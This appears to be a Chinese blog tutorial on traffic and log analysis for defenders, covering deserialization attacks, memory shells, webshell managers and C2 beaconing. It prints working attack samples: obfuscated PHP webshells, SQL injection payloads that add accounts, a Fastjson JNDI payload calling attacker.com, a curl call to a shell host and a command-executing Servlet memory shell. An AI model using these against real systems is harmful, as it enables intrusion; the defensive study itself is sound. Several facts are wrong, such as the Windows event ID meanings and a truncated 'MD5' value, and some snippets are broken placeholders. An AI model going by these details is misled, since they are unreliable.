流量分析

最后更新于 2025-05-22 442 次阅读


0x00 引言:护网行动与流量分析的重要性

在网络安全领域,流量分析是攻防对抗中的核心技术之一,尤其在“护网行动”这类国家级或企业级攻防演练中

  • 如:
  • 实时威胁检测:快速定位攻击行为
  • 攻击链还原:从流量中拼图攻击路径

0x01 流量分析的基础知识

工具

1.Wireshark

WiFi抓包

过滤

2.科来网络分析

通过工具可以深入分析网络流量中的异常行为、发现恶意软件和攻击模式

流量分析方法

1.基于异常找异常

异常管理RDP会话、异常管理SMB会话、异常的外部数据传输、ICMP地址扫描行为…

2.基于正常找异常

大量发送到新外部设备连、发送到稀有域的数据、大量新的服务控制、不常见的大量出网数据…

3.基于对比找异常

相同域名的不同、SSL证书相同域名、连接少见IP、相同时刻的相、同攻击源相同访、问模型的出入站…

流量日志分析

收集和分析网络流量日志,以识别异常活动和安全事件

优势:上机排查,快速高效

WEB流量分析

1.大小异常:

攻击者常使用长参数来构建payload,在分析网络流量时,我们可以通过设置阈值来自动识别这些异常长度的参数(payload多次加密达到绕过EDR等安全行为检测,但是有可能会造成长度异常)

2.字符异常:

攻击流量常用非法字符来尝试绕过安全设备检测。我们可以在分析过程中对这些非法字符进行检测,并通过正则表达式识别

例: 无字母的webshell

<?php
$_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`'); // $_ = 'assert'
$__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']'); // $__ = '_POST'
$___=$$__;
@$_($___[_]); // 等价于 assert($_POST[_])
?>

<?php
$__=~(/* 取反构造 "assert" */);
$__=~('àðæåá'^'ÃÄÅÃÂ'); // 通过异或和取反生成字符串
@$__($_POST['_']);
?>

<?php
$_=$_=+[]; // $_ = 0
$_=(++$_) + (++$_) + (++$_); // $_ = 3 (对应ASCII码 3 = Control-C,实际需动态生成)
// 动态构造 system('id') 类似的逻辑(此处需进一步展开)
?>

<?php
$f=base64_decode("YXNzZXJ0"); // "assert"
$f($_POST['cmd']);
?>

// 利用String.fromCharCode和数字构造函数名
const _ = 155 ^ 234; // 动态计算生成字符
eval(___=/* 通过数字生成 "require('child_process').exec" */);

3.报错异常:

攻击者可能会在HTTP请求中包含错误或缺失的参数,试图触发系统异常,从而获取敏感信息或探测漏洞。我们可以设置规则和查看返回值来识别这些异常请求

  • 4xx错误(客户端错误):高频400(Bad Request)可能为参数探测。
  • 5xx错误(服务端错误):高频500(Internal Error)可能为攻击触发的漏洞
# 分析Nginx日志,统计TOP 10的4xx请求
awk '$9 ~ /^4/ {print $7}' access.log | sort | uniq -c | sort -nr | head -n 10

总结:在web流量分析中,大小、长度、时间、格式、特征等是比较重要的切入点

日志跟路径

查看Linux的登录日志:

/var/log/message系统启动后的信息和错误日志,是最常用的日志之一
/var/log/secure与安全相关的日志信
/var/log/maillog与邮件相关的日志信息
/var/log/cron与定时任务相关的日志信息
/var/log/spooler与UUCP和news设备相关的日志信息
/var/log/boot.log守护进程启动和停止相关的日志消息
/var/log/wtmp该日志文件永久记录每个用户登录、注销及系统的启动信息

事件号

4624:成功登录
4625:注销
4626:远程登录
4628:本地登录
4634:账户锁定
4648:登录失败
4647:网络密码更改

0x02 流量分析的基本思路

TCP/IP协议栈基础

HTTP响应头

日期头:记录 HTTP 响应的日期和时刻。
内容头:表示服务器提供的文件类型的内容类型。
缓存头:用于帮助浏览器(或其他缓存)缓存返回的内容。
服务器头:显示服务器的类型。
其它头信息:例如设置用户可以持续请求多久等。

报文返回值:

1xx==>处理中

2xx==>成功

3xx==>重定向

4xx==>客户端问题

5xx==>服务器问题

流量关键字符

命令执行:

system,exec,passthru,shell_exec,popen,proc_open,pcntl_exec

以及echo curl wget cd ping cat ls 等


反引号操作符 ` 与 shell_exec() 等效,执行命令并返回输出

例
$output = `ls -l`;
echo $output;

间接执行命令的方式:

1.通过文件操作函数

#场景:写入可执行文件后间接执行
file_put_contents('/tmp/evil.sh', '#!/bin/sh\nwhoami');
chmod('/tmp/evil.sh', 0755);
include('/tmp/evil.sh'); // 若文件是 PHP 脚本

2.动态函数调用

$func = 'sy' . 'stem';
$func('id'); // 等同于 system('id');

3.dl() 函数(加载扩展)

功能:动态加载 PHP 扩展(.so 或 .dll),可能执行恶意代码

防御措施:

1.在 php.ini 中禁用高危函数

disable_functions = system,exec,passthru,shell_exec,popen,proc_open,pcntl_exec

2.最小权限原则(安全基线加固内容)

运行 PHP 的用户(如 www-data)应限制权限,避免 root 身份运行

报文:

1.POST参数

2.请求头

3.特殊构造的payload , 如think PHP的命令执行

流量和日志的区别

流量全,误报大

日志精确,若无日志审计系统要上机排查比较麻烦(日志直接反应了混淆恶意代码的目的)

总结:通过流量抓漏洞,通过日志解决告警

0x03 流量分析流程

例:SQL注入漏洞执行系统命令的流量

1.观察流量目的

xxx.jsp?id=1 and chr(49)<>chr(32)||(select sys.LinxRunCMD(''cmd /c net user linx /add'') from dual)
/2.aspxid=1;+insert+into+r3dm0v3_sql+(tmp1)+exec+master..xp_cmdshell+'net+user+linx+/add'—

2.判断攻击指令添加高权账号

3.判断是否有RDP远程桌面登录

  • Windows系统日志检查(事件查看器)-->事件ID 4624
  • 查看当前远程会话用户 -->cmd--> quser 或使用 qwinsta
  • 查询历史RDP连接记录-->cmd-->wevtutil qe Security /q:"*[System[(EventID=4624)]]" /rd:true /f:text
  • 检查RDP服务状态 -->cmd-->netstat -ano | findstr :3389
  • 查看远程用户列表-->远程设置 -->选择用户
  • 捕获RDP协议流量-->使用工具(如Wireshark)过滤端口 3389 的TCP流量
  • RDP协议特征-->TLS握手后跟随加密数据流
  • 检测异常IP连接-->在防火墙或IDS/IPS中监控对3389端口的访问

0x04 常见的漏洞流量特征

1.Shiro反序列化流量

漏洞点:rememberMe=

流程:攻击者将生成恶意Payload进行AES加密,然后Base64编码,再以rememberMe={value}形式发送给服务器。服务器接收到value后,会对其进行Base64解码,然后将解码后数据进行AES解密,最后反序列化执行命令

需要关注参数:key

我们可以通过dnslog检测key。但是由于dnslog会被安全产品检测出来, 所以 SimplePrincipalCollection公开以后,基本是使用这种方法来对shiro进行key正确性的判断,他的判断方法是从Cookie中的“rememberMe=deleteMe”数量差异进行的判断

key错误的时候:

当key正确时:

当然,也可借助日志分析设备进行数据包分析:

以shiro_attack-2.2为例暴破利用链并回显,若回显f25a2fc72690b780b2a14e140ef6a9e0,则发现利用链从流量上看, 请求包存在techo:f25a2fc72690b780b2a14e140ef6a9e0

shiro_attack-2.2工具的流量特征, 请求包头部存在c:及base64编码后的命令若命令执行成功, 响应包为$$$,$$$,命令和命令执行结果均为base64编码

shiro_attack-2.2工具中, 请求包头部存在密码p:pass1234及路径path:/favicondemo.ico POST包内为dy=开头那段,内容为编码后的恶意class

内存马响应包若存在->|Success|<-则注入成功, 实战中经常存在多个内存⻢注入日志, 可以根据此特征来判断是否注入成功

无回显Shiro流量解密流量特征

攻击成功流量:因为基本的利用方式是无回显的, 大部分攻击会先尝试dnslog来枚举key,若攻击成功安全平台会有dnslog事件

2.Fastjson攻击过程

1. 攻击者发送恶意Payload:攻击者构造一个包含恶意代码的JSON字符串作为payload。

2. 服务器解析并反序列化Payload:受害者的服务器接收到payload后,使用FastJSON库进行解析和反序列化。

3. 利用JNDI漏洞连接RMI服务:在反序列化过程中,如果FastJSON库配置不当,攻击者构造的恶意payload可能触发JNDI漏洞。

4. RMI服务器响应恶意请求:攻击者指定的RMI服务器接收到请求后,返回一个指向恶意代码的引用。

5. 服务器请求并加载恶意Class文件:受害者的服务器从RMI服务器获取到的引用加载恶意的Class文件,并尝试通过HTTP请求从攻击者的服务器获取该恶意Class文件。

6. 加载并执行恶意代码:受害者的服务器成功从攻击者的HTTP服务器获取到恶意Class文件后,将其加载进内存,并在实例化对象时执行恶意构造函数,从而执行攻击者预先植入的命令。

识别常见攻击特征

1. 检测@type字段

Fastjson反序列化漏洞利用的关键是@type属性,攻击者通过指定危险类触发漏洞

高危类名:如com.sun.rowset.JdbcRowsetImpljava.lang.Classcom.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl

{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://attacker.com/exp", "autoCommit":true}

防御:在流量中匹配@type字段,并检查其值是否属于已知漏洞利用类

2.检测JNDI注入特征

攻击常伴随JNDI注入(如LDAP/RMI协议),检查JSON中是否包含ldap://rmi://jndi:$%7B(URL编码的${)等字符串

3.检测编码绕过

Unicode/Hex编码:攻击者可能对关键字段(如@type)进行编码绕过:

  • 例如:\u0040\u0074\u0079\u0070\u0065(即@type的Unicode编码

防御:对请求内容进行解码后二次检测

4.嵌套层级过深

Fastjson漏洞利用链可能需要多层嵌套对象,普通业务请求通常不会出现复杂嵌套结构

5.非业务字段注入

检查JSON中是否包含与业务无关的字段,如autoCommitoutputProperties等,这些字段可能被用于触发漏洞

流量日志分析

1.请求内容检查

  • Content-Type:重点关注application/json类型的POST请求。
  • Body内容:提取JSON数据,检查是否包含@type及高危类名。

2.异常响应特征

  • 错误信息:若服务端返回autoType is not supportparse error,可能是攻击尝试触发的异常。
  • 延迟响应:某些漏洞利用会触发DNS查询或远程资源加载,导致响应时间异常。

使用工具辅助检测

WAF/IDS规则

例:IDS的Suricata

alert http any any -> any any (msg:"Fastjson Attack: JNDI Payload"; content:"ldap://"; http_client_body; content:"@type"; nocase; metadata:service http;)

日志分析工具

通过日志分析平台编写查询语句,筛选可疑请求

# 示例Kibana查询(筛选包含@type和ldap的请求)
http.request.body.content:"@type" AND http.request.body.content:"ldap://"

动态沙箱检测

放入微博,360的云沙箱进行分析

修复建议

  • 升级Fastjson:使用≥1.2.83版本并启用safeMode(彻底关闭autoType)。
  • 输入过滤:对@type字段进行白名单控制,仅允许业务需要的类

总结

通过特征匹配(@type+高危类名)、协议检测(JNDI/LDAP)、结构异常分析(嵌套/编码)结合工具(WAF/日志分析),可有效识别Fastjson攻击流量。同时,修复漏洞和启用安全模式是根本防御措施

3.注入内存马流量

内存马特征

内存马常通过漏洞(如反序列化、RCE)注入到Web容器进程中,并伪装成合法组件

类型注入目标特征
Servlet型Web容器的Servlet列表新增未授权的Servlet,映射路径异常(如/evil),处理恶意请求。
Filter型Web容器的过滤器链(FilterChain)新增恶意Filter,优先级最高,拦截所有请求并执行恶意代码。
Interceptor型框架拦截器(如Spring MVC)注入自定义拦截器,在请求前后执行恶意操作。
Listener型事件监听器(如ServletRequestListener)监听请求事件,触发恶意逻辑(如反弹Shell)。
Agent型JVM Agent通过javaagent机制注入,劫持类加载过程(如利用Instrumentation API修改字节码)。

内存马行为特征

1.进程与线程异常

内存中存在危险类实例(如ProxyTemplatesImpl)。

可疑线程

可疑线程

进程内存在执行系统命令的线程(如Runtime.getRuntime().exec("cmd"))。

线程名称为随机字符串或与业务无关(如Thread-1234)。

类加载异常

动态加载未知类(如通过ClassLoader.defineClass()加载Exploit.class)。

内存中存在危险类实例(如ProxyTemplatesImpl)。

2.网络活动异常

  • 心跳连接
    • 定期向外部C2服务器发送心跳包(如HTTP请求GET /heartbeat)。
    • 使用非常见协议(如DNS隧道、ICMP)外传数据。
  • 反向连接
    • 进程主动连接外部IP的非业务端口(如curl http://1.1.1.1:8080/shell)。
    • 流量中携带加密或Base64编码的敏感数据(如ls /tmp执行结果)。

3.应用行为异常

  • 新增URL路由
    • 出现未授权的访问路径(如/cmd/shell),返回异常响应(如执行whoami的结果)。
  • Filter/Servlet注册
    • Web容器中动态注册未知Filter或Servlet(可通过/proc/self/maps或管理接口查看)。
  • 响应时间异常
    • 特定请求触发长时间等待(如内存马等待C2指令时挂起线程)。

3.检测方法与工具

1.内存分析

  • Dump内存
    使用jmap导出Java进程内存,通过MAT、VisualVM分析可疑对象:
  • jmap -dump:format=b,file=heap.hprof <PID>
  • 搜索危险类
    在内存中搜索关键词(如FilterServletJdbcRowSetImpl):
  • strings heap.hprof | grep -iE "Exploit|JdbcRowSetImpl|TemplatesImpl"

2. 动态检测

  • 列出Web组件
    通过JSP脚本列出当前所有Servlet/Filter(适用于Tomcat):
  • <%@ page import="java.util.*,javax.servlet.*" %> <% ServletContext ctx = request.getServletContext(); Map<String, ? extends ServletRegistration> servlets = ctx.getServletRegistrations(); out.println("Servlets: " + servlets.keySet()); FilterRegistration filterRegs = ctx.getFilterRegistration("/*"); out.println("Filters: " + filterRegs); %>
  • 监控类加载
    启用Java安全审计日志,记录类加载事件:
  • -Djava.security.debug=access,stack

3. 网络流量监控

  • 检测C2通信
    使用Wireshark或tcpdump抓包,筛选异常连接:
  • tcpdump -i eth0 'dst host 1.1.1.1 and port 80' -w traffic.pcap
  • 分析HTTP请求
    检查请求路径、参数是否包含恶意指令(如cmd=whoami)。

4. RASP防护

  • 运行时拦截
    使用RASP(如OpenRASP)监控危险行为:
    • 拦截ClassLoader.defineClass调用。
    • 阻断未授权的Filter/Servlet注册。

5.日志与痕迹分析

  • 应用日志
    • 检查异常错误日志(如ClassNotFoundExceptionNoSuchMethodError)。
    • 监控动态类加载日志(如Loaded evil.Exploit from URL)。
  • 系统日志
    • 审计进程启动参数(如异常-javaagent:malicious.jar)。
    • 监控进程网络连接(如netstat -antp | grep java)。

4.清除与防御建议

  1. 终止恶意进程
    Kill内存马所在Java进程(需重启服务)。
  2. 漏洞修复
    修补注入内存马的漏洞(如Fastjson、Shiro反序列化漏洞)。
  3. 启用安全机制
    • 限制JVM加载外部Agent(-XX:+DisableAttachMechanism)。
    • 使用SecurityManager限制敏感操作。
  4. 定期扫描
    使用内存马检测工具(如Alibaba Arthas、MemShellScanner)。

例:

Servlet型内存马

攻击原理:通过动态注册一个恶意Servlet到Web容器(如Tomcat、Jetty),劫持特定URL路径的请求,执行任意命令

// 反射获取ServletContext对象
ServletContext servletContext = request.getSession().getServletContext();

// 定义恶意Servlet类
public class EvilServlet extends HttpServlet {
    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) {
        try {
            String cmd = req.getParameter("cmd");
            Process process = Runtime.getRuntime().exec(cmd);
            // 将命令结果写入响应
            InputStream input = process.getInputStream();
            resp.getWriter().write(new Scanner(input).useDelimiter("\\A").next());
        } catch (Exception e) { /* 异常处理 */ }
    }
}

// 动态注册Servlet
ServletRegistration.Dynamic registration = servletContext.addServlet("EvilServlet", new EvilServlet());
registration.addMapping("/evil");  // 映射路径为`/evil`

检测:查看已注册Servlet列表

Filter型内存马特征

// 恶意Filter注入代码
Filter filter = new MaliciousFilter();
FilterRegistration.Dynamic registration = servletContext.addFilter("evilFilter", filter);
registration.addMappingForUrlPatterns(EnumSet.of(DispatcherType.REQUEST), true, "/*");

检查:通过Tomcat管理接口或内存分析,确认是否存在名为evilFilter的Filter

核心防御思路:阻断攻击链(漏洞修复) + 运行时行为监控(RASP)

先判断是通过什么方法注入的内存马,可以先查看web日志是否有可疑的web访问日志,如果是filter或者listener类型就会有大量url请求路径相同参数不同的。通过查找返回200的url路径对比web目录下是否真实存在文件,如不存在大概率为内存马

各种webshell的管理工具流量特征

1.冰蝎

冰蝎是一个动态二进制加密网站管理客户端,基于Java编写。在实战中,第一代webshell管理工具菜刀(几乎看不到了)的流量特征非常明显,很容易就被安全设备检测到。基于流量 加密的webshell变得越来越多,冰蝎在此应运而生了

1. Content-Type

冰蝎流量中的强特征:Content-Type: application/octet-stream

2. User-Agent

特征列表:冰蝎默认使用的UA头包含了固定的字符串,可以正则匹配

默认使用User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36,部分版本可能随机化

3. Accept

冰蝎通常使用的Accept头主要是以下格式:Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2

4. Cache-Control

冰蝎会设置一些Cache-Control头以避免缓存,常见的设置如下:Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0

5.Connection

通过Connection: Keep-Alive维持长连接,减少频繁握手带来的异常日志

6.AES加密载荷

冰蝎默认使用AES加密请求体,密钥为e45e329feb5d925b

7.无明文参数

与传统WebShell(如?cmd=whoami)不同,冰蝎请求中不携带可读参数

8.URI路径特征

  • 固定路径访问
    部分版本会频繁访问同一URI路径(如/admin.jsp/upload.php),与正常业务路径不符。
  • 无Referer头
    多数请求缺失Referer头,或Referer与业务域名无关。

9.响应特征

  • HTTP状态码异常
    成功执行命令时返回200 OK,但响应体为加密数据(无HTML标签)。
  • Content-Type异常
    返回Content-Type: text/html,但实际内容为二进制或Base64密文。

冰蝎流量检测方法

1. 静态特征检测

  • 密钥硬编码检测
    匹配请求体中是否包含默认AES密钥的MD5或SHA1哈希(如e45e329feb5d925b的MD5为2f4d6b294e5d6a7c)。
  • 固定字符集
    检测Base64密文中是否包含冰蝎特定标识(如==结尾、特定字符分布)。

2. 动态行为检测

  • 心跳包特征
    冰蝎会定期发送心跳包(间隔约30秒),Body长度固定(如16字节加密数据)。
  • 命令执行特征
    执行系统命令时,会产生Runtime.getRuntime().exec()的进程树(需结合EDR监控)。
  • 加密流量熵值
    加密数据的熵值较高,可通过统计模型识别随机性(如Shannon熵检测)。

3. 流量解密与还原

  • 已知密钥解密
    若获取默认密钥,可使用以下方式解密(Python示例):
  • 解密后的明文包含Java反射代码(如java.lang.Runtime)或冰蝎指令(如pass=xxx&func=exec
from Crypto.Cipher import AES
import base64

def decrypt(data, key):
    cipher = AES.new(key.encode(), AES.MODE_CBC, iv=key.encode())
    decrypted = cipher.decrypt(base64.b64decode(data))
    return decrypted.decode(errors='ignore')

encrypted_data = "kGlmGq1s..."  # 从HTTP Body提取
print(decrypt(encrypted_data, "e45e329feb5d925b"))

2.哥斯拉

哥斯拉以高度隐蔽性和强加密著称,支持动态密钥交换和多种协议伪装。

1. 核心特征

  • 全流量加密
    • 加密方式:默认使用AES-GCMRC4加密,密钥通过首次请求动态协商(非固定密钥)。
    • 加密范围:包括请求头、请求体、响应体全流量加密,仅保留HTTP协议基础字段(如Content-Length)。
    • Base64编码:加密后的数据以Base64形式传输,Body长度通常为16*n字节。
  • 动态密钥交换
    • 首次请求:发送一个GET请求,携带随机字符串(用于生成密钥),响应中返回加密后的密钥种子。
    • 密钥生成:通过DH算法或自定义算法生成会话密钥,后续通信使用该密钥加密。
  • 协议伪装
    • 随机化HTTP头:每次请求的User-AgentAcceptReferer随机生成,模拟浏览器行为。
    • 伪造缓存头:添加Cache-Control: no-cachePragma: no-cache等字段,避免代理缓存。
    • 分块传输:使用Transfer-Encoding: chunked分割加密数据,绕过固定长度检测。
  • 心跳机制
    • 心跳包:间隔时间动态变化(如10~60秒),Body为加密后的固定指令(如{"action":"ping"})。
    • 低交互特征:心跳包响应内容简短(如200 OK + 空Body)。

检测方法

  • 密钥协商识别
    检测首次GET请求与响应中的密钥交换行为(如URL路径固定为/api/init)。
  • 熵值分析
    加密数据熵值显著高于普通HTTP文本流量。
  • 分块传输检测
    频繁使用Transfer-Encoding: chunked且分块长度符合加密块特征(如16/32字节)。
  • 动态密钥解密
    若捕获到密钥交换过程,可还原会话密钥解密流量(需逆向加密算法)。

3.中国蚁剑(AntSword)流量特征

核心特征

  • 弱加密或明文传输
    • 默认模式:参数通过Base64编码,但未加密(如cmd=whoami编码为Y21kPXdob2FtaQ==)。
    • 插件加密:部分插件支持AES加密,但密钥硬编码或简单生成(如ant)。
  • 固定URL参数
    • 参数名固定:如_=antcmdfunc等。
    • 路径特征:常访问敏感路径(如/admin.jsp/upload.php)。
  • HTTP头特征
    • User-Agent:默认使用AntSword/vX.X(部分版本可自定义,但低版本可能暴露)。
    • Cookie注入:在Cookie中携带Payload(如Cookie: PHPSESSID=...; ant=...)。
  • 响应特征
    • 明文回显:命令执行结果以明文或Base64编码返回,响应体包含<pre>标签或直接输出结果。
    • 错误信息:若加密插件配置错误,可能返回Decrypt Error等明文提示。

检测方法

  • 参数名匹配
    检测URL或Body中是否包含_=antcmd=func=等固定参数。
  • Base64特征
    参数值符合Base64编码特征(如长度为4的倍数,包含+/=字符)。
  • User-Agent拦截
    匹配User-Agent中的AntSword关键词。
  • 响应内容分析
    检测响应中是否包含<pre>标签或系统命令结果(如root

4.菜刀流量核心特征

固定参数名
请求中通常包含以下参数(参数值经Base64编码):

  • a1:操作类型(如文件管理、命令执行)。
  • a2:操作指令(如whoamils /tmp)。
  • a3:附加参数(如文件路径)。

Base64编码
参数值经过Base64编码,但未加密,解码后可还原明文指令

  • User-Agent固定
    默认使用User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1),部分版本可能随机化。

明文响应
命令执行结果直接以明文返回,或通过Base64编码后嵌入HTML标签(如<pre>):

HTTP状态码异常
无论操作成功与否,通常返回200 OK,但响应体内容与业务逻辑无关

行为特征

  • 高频访问敏感路径
    频繁访问Webshell文件(如/shell.php/admin.aspx),路径与正常业务无关。
  • 无Referer或Cookie
    多数请求缺失Referer头或携带简单Cookie(如admin=1)。

对比表

特征中国菜刀中国蚁剑冰蝎哥斯拉
加密强度❌ 无加密,仅Base64编码⚠️ 弱加密(部分插件支持简单AES)✅ AES-CBC(默认密钥)✅ AES-GCM/RC4(动态密钥交换)
流量隐蔽性❌ 低(特征明显)⚠️ 中低(参数固定,部分可伪装)✅ 中高(全加密,但存在心跳包特征)✅ 高(全流量加密+动态伪装)
协议伪装❌ 无伪装,固定参数名⚠️ 部分随机化(User-Agent/路径)✅ 长连接+固定心跳✅ 高度随机化(HTTP头、分块传输)
密钥管理❌ 无⚠️ 固定密钥(如ant)或明文⚠️ 默认密钥硬编码(可自定义)✅ 动态协商(DH算法或自定义)
典型参数a1a2a3(Base64)_=antcmdfunc(Base64)无固定参数(全加密Body)无固定参数(全加密Body)
响应特征明文或Base64回显(含<pre>标签)明文或简单加密(含<pre>标签)加密响应(需解密)全加密响应(需动态密钥解密)
心跳机制❌ 无❌ 无✅ 固定间隔(约30秒)✅ 动态间隔(10~60秒)
检测难度⭐ 低(规则易匹配)⭐⭐ 中低(特征可识别)⭐⭐⭐ 中高(需解密或熵分析)⭐⭐⭐⭐ 高(需动态密钥分析)

通用检测方法

  1. 静态特征匹配
    • 拦截固定参数(a1_=ant)、User-Agent(AntSword)或密钥硬编码特征。
    • 分析Base64编码内容的可读性(菜刀/蚁剑易解码出明文指令)。
  2. 动态行为分析
    • 检测高频敏感路径访问(如/admin.jsp)。
    • 监控固定心跳间隔(冰蝎)或动态心跳(哥斯拉)。
  3. 加密流量识别
    • 熵值检测:加密数据熵值显著高于正常文本(冰蝎/哥斯拉)。
    • 密钥交换行为:哥斯拉首次请求的密钥协商需重点关注。
  4. 响应内容解密
    • 对已知密钥流量(冰蝎)解密,检查是否含危险类名(如Runtime.exec)。

防御建议

  1. 基础防护
    • 修复漏洞(如Struts2、Shiro反序列化),阻断Webshell注入途径。
    • 限制敏感路径访问(如/admin/*),禁用不必要的动态组件注册。
  2. 流量层防御
    • 部署WAF:拦截固定参数、异常User-Agent及高危路径。
    • 解密HTTPS流量:检测加密内容中的恶意载荷。
  3. 行为监控
    • 使用RASP:阻断危险操作(如ProcessBuilder调用)。
    • EDR联动:监控进程树异常(如cmd.exe由Java进程启动)。
  4. 主动防御
    • 定期扫描Web目录:使用工具(如D盾、ClamAV)检测Webshell文件。
    • 模拟攻击验证:利用DNSLog或无害Payload测试防御规则有效性。

5.C2通信核心特征

1. 通信协议特征

  • 非常用协议伪装
    • 使用HTTP/HTTPS(80/443端口)等常见协议,但路径或参数异常(如/api/v1/feed)。
    • 利用DNS、ICMP、WebSocket等协议进行隐蔽通信(如DNS隧道传输数据)。
  • 协议滥用
    • DNS C2:通过TXT或CNAME记录传递指令(如dig @malicious-dns.com evilcmd.example.com TXT)。
    • ICMP C2:利用ICMP Echo请求(Ping)载荷携带加密数据(需自定义Payload)。

2. 通信行为特征

  • 心跳机制(Beaconing)
    • 定期发送心跳包(如每5分钟一次)到C2服务器,维持长连接并等待指令。
    • 固定时间间隔:传统C2心跳间隔固定(易被检测)。
    • 抖动(Jitter):高级C2引入随机延迟(如±30%间隔),规避时序分析。
  • 指令下发与数据回传
    • 短连接高频率:执行命令时突发大量短连接(如HTTP POST上传数据)。
    • 低交互模式:正常心跳包响应简短(如200 OK空Body),执行阶段流量突增。

3. 数据特征

  • 加密与编码
    • 使用AES、RC4或XOR加密通信内容,避免明文暴露指令。
    • 数据经过Base64、Hex或自定义编码(如0xdeadbeef分段)。
  • 协议混淆
    • 伪装成合法API请求(如模拟云服务JSON格式)
    • 使用域前置(Domain Fronting)隐藏真实C2域名(如伪装为*.cloudfront.net

4. 网络基础设施特征

  • 域名生成算法(DGA)
    • 动态生成随机域名(如xdqwrwersdf.com),避免IP/域名被封禁。
    • 每日解析不同域名,通过DNS预解析获取C2 IP。
  • Fast-flux网络
    • C2域名绑定大量快速更换的IP地址(通常来自僵尸网络),增加追踪难度。
  • Tor或I2P网络
    • C2服务器隐藏在暗网(.onion域名),流量经过多层加密路由。

C2流量检测方法

1. 网络层检测

  • 异常域名分析
    • 检测DGA域名(高熵值、无WHOIS信息、短生命周期)。
    • 使用威胁情报平台(VirusTotal、AlienVault OTX)匹配已知C2域名/IP。
  • 协议特征匹配
    • HTTP C2
      • 请求路径非常规(如/submit.php?id=0x7b)。
      • User-Agent异常(如CobaltStrike默认UA)。
    • DNS C2
      • 高频请求TXT或NULL记录(如dig TXT evil.com)。
      • 子域名长度异常(如32r8w9efjw.example.com)。

2. 流量行为分析

  • 时序模式识别
    • 统计心跳间隔的方差,低方差可能为传统C2,高方差可能为抖动算法。
    • 使用机器学习模型(如K-means聚类)识别周期性流量。
  • 流量熵值检测
    • 加密或编码数据的熵值显著高于普通文本(可用Shannon熵Chi-square检验)。
  • 数据包大小分布
    • 心跳包大小固定(如512字节),而数据回传包大小波动较大。

3. 主机层检测

  • 进程行为监控
    • 检测未知进程与外部IP的长期连接(如netstat -ano找可疑ESTABLISHED连接)。
    • 监控敏感操作(如powershell.exe下载远程脚本)。
  • 注册表/文件痕迹
    • C2客户端可能持久化在启动项(如注册表HKCU\Software\Microsoft\Windows\CurrentVersion\Run

C2分类及示例

C2类型通信方式示例工具/家族检测要点
传统C2HTTP/HTTPS明文或简单加密Metasploit、Cobalt Strike固定心跳间隔、UA特征、证书异常
DNS C2DNS查询传递指令DNSMessenger、OilRig高频TXT/NULL记录请求、长域名子串
云服务C2滥用AWS/Slack/Discord APIAPT29(利用Slack API)合法服务中的异常API调用(如非常规Token)
隐蔽通道C2ICMP/SSH隧道、WiFi信号PingBack、POSLockerICMP载荷非空、SSH非交互式会话
P2P C2去中心化节点通信(BitTorrent协议)Emotet、TrickBot节点间加密通信、DHT协议滥用

防御与缓解措施

  1. 网络层防御
    • 部署IDS/IPS:使用Suricata/Snort规则拦截已知C2特征(如Cobalt Strike默认证书)。
    • 限制出站流量:仅允许业务需要的协议和端口,阻断非常用协议(如ICMP出站)。
  2. 终端防护
    • EDR解决方案:监控进程链(如svchost.exe启动powershell.exe)。
    • 应用白名单:禁止未签名的二进制文件执行。
  3. 日志分析
    • 收集DNS/HTTP日志,使用SIEM(如Splunk)关联异常事件。
    • 配置NetFlow分析,识别低频但持久的数据外传。
  4. 威胁情报整合
    • 订阅STIX/TAXII格式的威胁情报,自动更新阻断列表。

总结

C2流量检测需结合协议特征行为模式数据特征,对抗高级C2需引入威胁情报与机器学习。防御应覆盖网络、主机、日志三层,并持续跟踪攻击技术演进(如AI生成的DGA域名)